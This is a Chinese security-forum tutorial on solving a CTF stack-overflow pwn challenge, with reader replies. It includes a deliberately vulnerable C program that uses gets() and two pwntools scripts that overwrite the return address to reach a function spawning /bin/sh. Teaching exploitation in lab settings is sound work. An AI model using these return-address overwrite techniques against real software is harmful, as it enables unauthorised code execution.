用户
搜索
  • TA的每日心情
    开心
    2018-9-11 11:32
  • 签到天数: 7 天

    连续签到: 1 天

    [LV.3]经常看看I

    i春秋-核心白帽

    Rank: 4

    93

    主题

    119

    帖子

    1380

    魔法币
    收听
    0
    粉丝
    28
    注册时间
    2016-6-6
    发表于 2019-2-20 10:32:17 38848
    本帖最后由 yanzm 于 2019-2-20 10:43 编辑


    在国内的CTF比赛中,PWN题最常见考点就是缓冲区溢出漏洞,而缓冲区溢出代表就是栈溢出漏洞。

    0x01 基础知识

    栈是一种先进后出的数据结构,从高地址向低地址增长的内存结构。

    函数调用栈是指程序运行时内存一段连续的区域,用来保存函数运行时的状态信息,包括函数参数与局部变量等,是系统栈的一部分。

    在一次函数调用中,函数调用栈中将被依次压入:函数实参、返回地址、EBP。如果函数有局部变量,接下来就在栈中开辟相应的空间以构造变量。

    变量.webp.jpg

    ESP 称为栈顶指针,用来指示当前栈帧的顶部。
    EBP 称为栈基址指针,用来指示当前栈帧的底部。

    0x02漏洞原理

    栈溢出漏洞是由于使用了不安全的函数,如C中的 read(fd, buf, nbytes)、gets(s)等,通过构造特定的数据使得栈溢出,从而导致程序的执行流程被控制。
    当程序代码如下时:

    int main(int argc, char **argv) {
    char s[12];
    gets(s);
    return 0;
    }

    栈空间如下:

    如下.webp.jpg

    当构造变量char s[12]时,系统就在栈中给s开辟栈空间,可gets(s)函数未限制输入字符长度,可以构造大量的数据来超出变量的空间从而造成溢出,覆盖到s以上的栈空间。

    s.webp.jpg

    0x03 解题步骤

    步骤.webp.jpg

    例举一道栈溢出的PWN题,根据解题步骤来解答。

    1. 逆向工程:

    将PWN题拖入IDA,点击程序入口函数。按F5逆向main函数,查看对应的C伪代码。
    main函数调用vulnerable()函数。

    函数.webp.jpg

    点击进入vulnerable()函数并F5逆向。

    F5.webp.jpg

    vulnerable()函数中调用了gets()和puts()函数,而程序的逻辑就运行main函数和vulnerable函数。

    vulnerable函数功能:输入字符串,输出字符串
    程序中主要函数有
    内置行数:gets、puts、system
    自定义函数:main、test、success

    2. 分析代码:

    进行逆向工程拿到C伪代码,代码大致如下:

    #include <stdio.h>
    #include <string.h>
    void success() {
       puts("You Hava already controlled it.");
       system("/bin/sh");
    }
    void test() {
       puts("Connection Successful.");
    }
    void vulnerable() {
    char s[12];
    gets(s);
    puts(s);
    return;
    }
    int main(int argc, char **argv) {
    vulnerable();
    return 0;
    }

    gets() 是一个危险函数,因为它不检查输入字符串的长度,而是以回车来判断是否输入结束,所以很容易导致栈溢出。

    3. 漏洞利用:

    查看程序的保护机制:

    保护.webp.jpg

    程序在无任何保护的情况下进行解题:

    解题.webp.jpg

    输入s的值溢出到返回地址,将返回地址替换成text函数的起始地址。

    查看text函数的起始地址。
    起始.webp.jpg



    EBP与EBP的距离14H,而栈中的EBP占栈内存4H,所以要覆盖到放回地址需要18H。

    18H.webp.jpg


    编写脚本如下:

    from pwn import *
    sh = process('./Ezreal1')
    success_addr = 0x080491DE

    payload = 'a' * 0x18 + p32(success_addr)
    print p32(success_addr)

    sh.sendline(payload)

    sh.interactive()

    利用脚本后的栈结构如下:

    利用.webp.jpg


    所以当函数调用完毕后,执行返回地址时将执行text函数。
    运行脚本,成功运行text函数:

    成功.webp.jpg


    4. getshell:

    分析代码发现程序中有getshell函数,这时就不需要构造shellcode,直接溢出返回地址,让程序执行此函数。

    执行.webp.jpg


    查看success函数地址:

    查看.webp.jpg


    脚本如下:
    ##!/usr/bin/env python
    from pwn import *
    sh = process('./Ezreal1')
    success_addr = 0x080491A2

    payload = 'a' * 0x18 + p32(success_addr)
    print p32(success_addr)

    sh.sendline(payload)

    sh.interactive()

    运行脚本,成功拿到shell:

    拿到.webp.jpg


    0x04 小小总结

    本期的介绍就到这里啦!祝各位周末愉快!下期将带来在程序开启不同栈保护机制要如何利用漏洞。

    qrcode_for_gh_223e082fe8a7_344.jpg


    评分

    参与人数 1魔法币 +10 收起 理由
    zzconfig + 10 欢迎分析讨论交流,i春秋论坛有你更精彩!.

    查看全部评分

    发表于 2019-2-22 09:29:23
    不错不错虽然看不懂
    有一天他会突然觉得累了甚至忘了初衷 放弃了梦想也许因为年纪的关系奔波于现实 然后拉黑了网络认识的所有人或者说不用了一个号码换了一个QQ 那么记得他叫流光 这个网络他曾来过。
    使用道具 举报 回复
    大概理解了下原理,python脚本里的几个函数不太会,尴尬
    使用道具 举报 回复
    厉害,大佬带我飞
    使用道具 举报 回复
    发新帖
    您需要登录后才可以回帖 登录 | 立即注册